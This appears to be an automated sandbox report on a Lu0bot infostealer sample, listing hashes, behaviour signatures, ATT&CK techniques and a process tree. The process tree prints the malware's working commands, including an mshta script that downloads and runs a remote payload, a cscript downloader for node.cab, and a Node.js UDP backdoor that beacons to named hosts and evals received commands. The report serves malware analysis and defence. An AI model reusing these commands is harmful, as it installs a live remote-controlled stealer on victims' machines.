lu0bot | cb23aeac6382ff99608a71e3b416c1ca22f5f301474840239e4c319db31cef25

Analysis

max time kernel
149s
max time network
154s
platform
windows10_x64
resource
win10v20210410
submitted
20-07-2021 11:53

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General

Target

b51f35ce59522da81ef898864f0d5345.exe
Size

3KB
MD5

b51f35ce59522da81ef898864f0d5345
SHA1

ff9d931d99cf91852cafe602f078fc90fa53940f
SHA256

cb23aeac6382ff99608a71e3b416c1ca22f5f301474840239e4c319db31cef25
SHA512

24bc25b9c843b41b2ed0b38ab4417ecb43fa880a09086b41e0e630ba613557f4f4563cbdf5012abc62d22a1809bbb21096f823274cfad2824efb0e9e296a0b80

Score

10^/10

lu0bot discovery stealer trojan

Malware Config

Signatures

Lu0bot
Lu0bot is a lightweight infostealer written in NodeJS.
trojan stealer lu0bot

Blocklisted process makes network request 2 IoCs

flow	pid	Process
11	992	mshta.exe
12	2984	cscript.exe

Executes dropped EXE 1 IoCs

pid	Process
64	node.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4060	icacls.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	expand.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
1012	tasklist.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
1148	ipconfig.exe
4012	netstat.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2088	systeminfo.exe

NTFS ADS 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\8e487a59ad79f5ce:ads	node.exe
File created	C:\ProgramData\DNTException\node.exe:b66fc6061190494ea36b019802d3cb7a	node.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	11	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	12	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
64	node.exe
64	node.exe
64	node.exe
64	node.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	1012	tasklist.exe
Token: SeIncreaseQuotaPrivilege	2760	wmic.exe
Token: SeSecurityPrivilege	2760	wmic.exe
Token: SeTakeOwnershipPrivilege	2760	wmic.exe
Token: SeLoadDriverPrivilege	2760	wmic.exe
Token: SeSystemProfilePrivilege	2760	wmic.exe
Token: SeSystemtimePrivilege	2760	wmic.exe
Token: SeProfSingleProcessPrivilege	2760	wmic.exe
Token: SeIncBasePriorityPrivilege	2760	wmic.exe
Token: SeCreatePagefilePrivilege	2760	wmic.exe
Token: SeBackupPrivilege	2760	wmic.exe
Token: SeRestorePrivilege	2760	wmic.exe
Token: SeShutdownPrivilege	2760	wmic.exe
Token: SeDebugPrivilege	2760	wmic.exe
Token: SeSystemEnvironmentPrivilege	2760	wmic.exe
Token: SeRemoteShutdownPrivilege	2760	wmic.exe
Token: SeUndockPrivilege	2760	wmic.exe
Token: SeManageVolumePrivilege	2760	wmic.exe
Token: 33	2760	wmic.exe
Token: 34	2760	wmic.exe
Token: 35	2760	wmic.exe
Token: 36	2760	wmic.exe
Token: SeIncreaseQuotaPrivilege	2760	wmic.exe
Token: SeSecurityPrivilege	2760	wmic.exe
Token: SeTakeOwnershipPrivilege	2760	wmic.exe
Token: SeLoadDriverPrivilege	2760	wmic.exe
Token: SeSystemProfilePrivilege	2760	wmic.exe
Token: SeSystemtimePrivilege	2760	wmic.exe
Token: SeProfSingleProcessPrivilege	2760	wmic.exe
Token: SeIncBasePriorityPrivilege	2760	wmic.exe
Token: SeCreatePagefilePrivilege	2760	wmic.exe
Token: SeBackupPrivilege	2760	wmic.exe
Token: SeRestorePrivilege	2760	wmic.exe
Token: SeShutdownPrivilege	2760	wmic.exe
Token: SeDebugPrivilege	2760	wmic.exe
Token: SeSystemEnvironmentPrivilege	2760	wmic.exe
Token: SeRemoteShutdownPrivilege	2760	wmic.exe
Token: SeUndockPrivilege	2760	wmic.exe
Token: SeManageVolumePrivilege	2760	wmic.exe
Token: 33	2760	wmic.exe
Token: 34	2760	wmic.exe
Token: 35	2760	wmic.exe
Token: 36	2760	wmic.exe
Token: SeDebugPrivilege	4012	netstat.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 3560 wrote to memory of 992	3560	b51f35ce59522da81ef898864f0d5345.exe	72
PID 3560 wrote to memory of 992	3560	b51f35ce59522da81ef898864f0d5345.exe	72
PID 3560 wrote to memory of 992	3560	b51f35ce59522da81ef898864f0d5345.exe	72
PID 992 wrote to memory of 2460	992	mshta.exe	76
PID 992 wrote to memory of 2460	992	mshta.exe	76
PID 992 wrote to memory of 2460	992	mshta.exe	76
PID 2460 wrote to memory of 2984	2460	cmd.exe	78
PID 2460 wrote to memory of 2984	2460	cmd.exe	78
PID 2460 wrote to memory of 2984	2460	cmd.exe	78
PID 2460 wrote to memory of 4072	2460	cmd.exe	81
PID 2460 wrote to memory of 4072	2460	cmd.exe	81
PID 2460 wrote to memory of 4072	2460	cmd.exe	81
PID 2460 wrote to memory of 1324	2460	cmd.exe	82
PID 2460 wrote to memory of 1324	2460	cmd.exe	82
PID 2460 wrote to memory of 1324	2460	cmd.exe	82
PID 1324 wrote to memory of 64	1324	cscript.exe	83
PID 1324 wrote to memory of 64	1324	cscript.exe	83
PID 1324 wrote to memory of 64	1324	cscript.exe	83
PID 64 wrote to memory of 1748	64	node.exe	86
PID 64 wrote to memory of 1748	64	node.exe	86
PID 64 wrote to memory of 1748	64	node.exe	86
PID 64 wrote to memory of 1716	64	node.exe	87
PID 64 wrote to memory of 1716	64	node.exe	87
PID 64 wrote to memory of 1716	64	node.exe	87
PID 64 wrote to memory of 4060	64	node.exe	88
PID 64 wrote to memory of 4060	64	node.exe	88
PID 64 wrote to memory of 4060	64	node.exe	88
PID 64 wrote to memory of 2844	64	node.exe	89
PID 64 wrote to memory of 2844	64	node.exe	89
PID 64 wrote to memory of 2844	64	node.exe	89
PID 64 wrote to memory of 4016	64	node.exe	90
PID 64 wrote to memory of 4016	64	node.exe	90
PID 64 wrote to memory of 4016	64	node.exe	90
PID 64 wrote to memory of 1012	64	node.exe	91
PID 64 wrote to memory of 1012	64	node.exe	91
PID 64 wrote to memory of 1012	64	node.exe	91
PID 64 wrote to memory of 2760	64	node.exe	93
PID 64 wrote to memory of 2760	64	node.exe	93
PID 64 wrote to memory of 2760	64	node.exe	93
PID 64 wrote to memory of 1148	64	node.exe	94
PID 64 wrote to memory of 1148	64	node.exe	94
PID 64 wrote to memory of 1148	64	node.exe	94
PID 64 wrote to memory of 1452	64	node.exe	95
PID 64 wrote to memory of 1452	64	node.exe	95
PID 64 wrote to memory of 1452	64	node.exe	95
PID 64 wrote to memory of 4012	64	node.exe	96
PID 64 wrote to memory of 4012	64	node.exe	96
PID 64 wrote to memory of 4012	64	node.exe	96
PID 64 wrote to memory of 2088	64	node.exe	97
PID 64 wrote to memory of 2088	64	node.exe	97
PID 64 wrote to memory of 2088	64	node.exe	97

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
2844	attrib.exe
4016	attrib.exe

C:\Users\Admin\AppData\Local\Temp\b51f35ce59522da81ef898864f0d5345.exe
"C:\Users\Admin\AppData\Local\Temp\b51f35ce59522da81ef898864f0d5345.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3560
- C:\Windows\SysWOW64\mshta.exe
  mshta "javascript:document.write();96;y=unescape('%342%7Eh%74t%70%3A%2F%2F%61s%750%32%2E%73h%6Fp%2Fh%72i%2F%3F%321%616%654%62%7E%32').split('~');159;try{x='WinHttp';165;x=new ActiveXObject(x+'.'+x+'Request.5.1');41;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);137;x.send();160;y='ipt.S';36;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);30;}catch(e){};165;;window.close();"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:992
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1626782000439.txt & cscript /nologo /e:jscript get1626782000439.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F2818594e7%26b%3Dd601ed1d" node.cab & expand node.cab node.exe & del get1626782000439.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1626782000439.txt & cscript /nologo /e:jscript get1626782000439.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27818594e7%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1626782000439.txt
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2460
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1626782000439.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F2818594e7%26b%3Dd601ed1d" node.cab
      4⤵
      Blocklisted process makes network request
      PID:2984
  - - C:\Windows\SysWOW64\expand.exe
      expand node.cab node.exe
      4⤵
      Drops file in Windows directory
      PID:4072
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1626782000439.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27818594e7%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1324
    - - C:\ProgramData\DNTException\node.exe
        
        "C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27818594e7%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        NTFS ADS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:64
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c dir C:\
        6⤵
        
        PID:1748
      - C:\Windows\SysWOW64\cacls.exe
        
        cacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F
        6⤵
        
        PID:1716
      - C:\Windows\SysWOW64\icacls.exe
        
        icacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)
        6⤵
        Modifies file permissions
        
        PID:4060
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException
        6⤵
        Views/modifies file attributes
        
        PID:2844
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException\node.exe
        6⤵
        Views/modifies file attributes
        
        PID:4016
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /fo csv /nh
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:1012
      - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        wmic process get processid,parentprocessid,name,executablepath /format:csv
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2760
      - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig.exe /all
        6⤵
        Gathers network information
        
        PID:1148
      - C:\Windows\SysWOW64\route.exe
        
        route.exe print
        6⤵
        
        PID:1452
      - C:\Windows\SysWOW64\netstat.exe
        
        netstat.exe -ano
        6⤵
        Gathers network information
        Suspicious use of AdjustPrivilegeToken
        
        PID:4012
      - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo.exe /fo csv
        6⤵
        Gathers system information
        
        PID:2088

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/64-130-0x0000000036D00000-0x0000000036D01000-memory.dmp

Filesize
4KB

Download
memory/64-125-0x000000003F200000-0x000000003F201000-memory.dmp

Filesize
4KB

Download
memory/64-127-0x0000000034F00000-0x0000000034F01000-memory.dmp

Filesize
4KB

Download
memory/64-129-0x0000000025200000-0x0000000025201000-memory.dmp

Filesize
4KB

Download
memory/64-128-0x000000002C800000-0x000000002C801000-memory.dmp

Filesize
4KB

Download
memory/64-126-0x000000003C900000-0x000000003C901000-memory.dmp

Filesize
4KB

Download